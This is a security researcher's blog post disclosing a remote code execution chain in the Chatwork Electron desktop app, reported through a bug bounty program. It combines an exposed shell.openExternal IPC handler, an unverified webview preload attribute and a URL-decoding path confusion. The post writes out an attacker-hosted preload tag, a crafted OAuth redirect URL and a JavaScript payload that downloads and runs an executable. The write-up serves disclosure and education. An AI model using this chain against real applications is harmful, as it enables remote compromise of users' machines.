GMO Flatt Security Research
February 19, 2025

Achieving RCE in famous Japanese chat tool with an obsolete Electron feature

Posted on February 19, 2025  •  7 minutes  • 1456 words
Table of contents

Introduction

Hello, I’m RyotaK (@ryotkak ), a security engineer at GMO Flatt Security Inc.

A while ago, I reported a remote code execution vulnerability that chains multiple problems in Chatwork, a popular communication tool in Japan.

In the report that I sent to the bug bounty platform, I used an obsolete feature of Electron to escalate to the preload context.
As the vulnerability was interesting, I’m writing this article to share the details of it.

Disclaimer

Chatwork forbids reverse-engineering its service with the terms of service.
As their bug bounty program is no longer running, they’re requesting researchers to avoid reverse-engineering it for now.

If you plan to perform the analysis against their services, ensure their bug bounty program is running again before performing any actions against their service.

TL;DR

There were three problems in Chatwork:

  1. Dangerous method is exposed to the preload context
  2. An incorrectly enabled legacy feature that allows access to the preload context
  3. Routing parser difference between desktop and web

By combining these problems, I achieved remote code execution in the Chatwork desktop application, which can be triggered when a user performs actions on an attacker-provided URL.

An image that shows the exploitation flow

Chatwork

Chatwork is a popular communication tool in Japan, which is similar to Slack.

After downloading the desktop application, I noticed that the application was built with Electron. As it’s easy to extract the JavaScript files from the Electron application, I started to analyzing it.

Dangerous method is exposed to the preload context

After extracting files, I started to inspect it and found the following interesting code:

    })), electron_1.ipcMain.handle(ipcEvents_1.ipcEvents.skypeNewWindow, (function (e, n) {
        electron_1.shell.openExternal(n)
    }))

This code calls the shell.openExternal method when invoked, which is used to open a URL in the associated application.

As mentioned in the security guide of Electron , the shell.openExternal method is dangerous and shouldn’t be used with the untrusted input. It allows arbitrary code execution by passing the file:// scheme.

Since this method is exposed to the preload context, executing the arbitrary JavaScript in the preload context will lead to remote code execution even if the Node.js API is disabled. So, I started to investigate if I can execute arbitrary JavaScript in the preload context.

An incorrectly enabled legacy feature that allows access to the preload context

To find a way to execute arbitrary JavaScript in the preload context, I decided to find the instances of BrowserWindow .
After reading the code a bit, I spotted the following BrowserWindow instance:

var i = new electron_1.BrowserWindow({
    [...]
    webPreferences: {
        partition: "persist:".concat(e),
        nodeIntegration: !1,
        webviewTag: !0
    },
    [...]
});

This BrowserWindow instance is created with the nodeIntegration: false option, which means that Node.js API is disabled, and there is no preload script specified.

However, as you can see, the webviewTag option is enabled. I remembered that the webview tag is a deprecated feature, and the security guide of Electron mentioned that the application must verify options of the <webview> tag before creating it on the DOM.

https://www.electronjs.org/docs/latest/tutorial/security#12-verify-webview-options-before-creation

A WebView created in a renderer process that does not have Node.js integration enabled will not be able to enable integration itself. However, a WebView will always create an independent renderer process with its own webPreferences.

It is a good idea to control the creation of new webview tags from the main process and to verify that their webPreferences do not disable security features.

It seems that Chatwork application doesn’t verify the options of the <webview> tag while creating it.

As the Node.js integration is disabled, this setting still doesn’t allow us to execute arbitrary commands on the host, but it still allows us to create a new renderer process with preferences controlled.

After reading the documentation of the webview tag, I found that the webview tag has an attribute called preload. This attribute allows the webview tag to load a script in the preload context, which matches our goal.

https://www.electronjs.org/docs/latest/api/webview-tag#preload

A string that specifies a script that will be loaded before other scripts run in the guest page. The protocol of script’s URL must be file: (even when using asar: archives) because it will be loaded by Node’s require under the hood, which treats asar: archives as virtual directories.

While the script URL is limited to the file: protocol, it can be used to load the script from the remote SMB share like the following on Windows:

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Routing parser difference between desktop and web

Using the above HTML, we can execute arbitrary JavaScript in the preload context, but we still need to find a way to place the malicious webview tag in the vulnerable BrowserWindow.

I checked how the vulnerable BrowserWindow is created, and found that the following function:

}, e.prototype.createNewWindow = function (e, t) {
    [...]
    var i = new electron_1.BrowserWindow({
        alwaysOnTop: !1,
        width: 800,
        height: 600,
        resizable: !0,
        x: this.windowInst.getPosition()[0] + this.newWindowX,
        y: this.windowInst.getPosition()[1] + this.newWindowY,
        webPreferences: {
            partition: "persist:".concat(e),
            nodeIntegration: !1,
            webviewTag: !0
        },
        modal: !1,
        show: !1
    });
    [...]
}

The createNewWindow function is called in the window.open handler, like the following:

void 0 !== i && i.setWindowOpenHandler((function (e) {  
    var r, o = new URL(i.getURL()).origin,
        t = e.url;
    if ("file-preview" === (r = (0, exports.getNewWindowType)(o, t))) electron_1.ipcMain.emit("create-newWindow", n, t, "");

This function emits the create-newWindow event if the result of the getNewWindowType function is file-preview.

The getNewWindowType function checks if the URL starts with a specific string, and returns the type of the window.

getNewWindowType = function (e, n) {
    for (var i = 0, r = Object.entries({
            "/gateway/download_file.php": "file-preview",
            "/live.php": "live",
            "/live/": "live",
            "/#!rid": "message-link",
            "/g/": "internal-browser-window"
        }); i < r.length; i++) {
        var o = r[i],
            t = o[0],
            l = o[1];
        if (n.startsWith(e + t)) return l
    }
    return "other"
};

So, we need to find a way to place a webview tag in the path under the https://www.chatwork.com/gateway/download_file.php.

At first glance, it might be a bit tricky due to the fact that the only download_file.php is allowed. I attempted to perform a path traversal, like https://www.chatwork.com/gateway/download_file.php/../../ to access other endpoints, but it didn’t work because the URL passed to the setWindowOpenHandler function is normalized.

However, after some testing, I found that the backend server parses a request path differently compared to the Electron.

When the backend server received a request, it decodes the URL first, and then routes the request to an appropriate endpoint.
For example, the following URL is decoded to https://www.chatwork.com/gateway/download_file.php/../../ on the backend server, which is then normalized to https://www.chatwork.com/ and routed accordingly.

https://www.chatwork.com/gateway/download_file.php%2F..%2F..%2F

By using this difference, we can pass the https://www.chatwork.com/gateway/download_file.php prefix check on the client side, but the backend server will route a request to another endpoint, allowing us to bypass the restriction of the location where the webview tag needs to be placed.

Combining all the problems

While we can now use any path under the https://www.chatwork.com/, we still need to find a way to place the malicious webview tag in the vulnerable BrowserWindow.

Fortunately, Chatwork has an OAuth feature, which allows us to register our own OAuth application, with the redirect_uri pointing to external host.
When the user approves or denies the OAuth authorization, the Chatwork redirects the user to the redirect_uri.

By using this behavior, we can redirect the Chatwork desktop application to the malicious URL from the OAuth authorization page. Combined with the routing parser difference, the following URL will redirect the Chatwork desktop application to the attacker-controlled URL when the user approves or denies the OAuth authorization.

https://www.chatwork.com/gateway/download_file.php/..%2f..%2flogin.php?redirect=login&args=response_type%3Dcode%26redirect_uri%3DREDIRECT_URL%26client_id%3DCLIENT_ID%26state%3DSTATE%26scope%3DSCOPE%26code_challenge%3DCODE_CHALLENGE%26code_challenge_method%3DS256&package=../../packages/oauth2

Then, we can put the following HTML in the redirected URL:

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

…which then loads a malicious script from the remote SMB server, which will exploit the dangerous method exposed to the preload context like the following:

(async() => {
    const { ipcRenderer } = require("electron");
    await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
    setTimeout(async () => {
        const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
        await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
    }, 5000);
})();

By executing the above script, the Chatwork desktop application will download the malicious executable and execute it, resulting in the remote code execution.

Conclusion

In this article, I explained how I was able to achieve remote code execution in the Chatwork desktop application by chaining multiple problems.

It was interesting to learn about the obsolete features of Electron, and I hope this article will be helpful for developers or security researchers interested in developing/analyzing the Electron application.

Shameless plug

At GMO Flatt Security, we specialize in providing top-notch security assessment and penetration testing services. Our expertise spans a wide range of targets, from web applications to IoT devices.

We also offer a powerful security assessment tool called Shisho Cloud, which combines Cloud Security Posture Management (CSPM) and Cloud Infrastructure Entitlement Management (CIEM) capabilities with Dynamic Application Security Testing (DAST) for web applications.

If you’re interested in learning more, feel free to reach out to us at https://flatt.tech/en .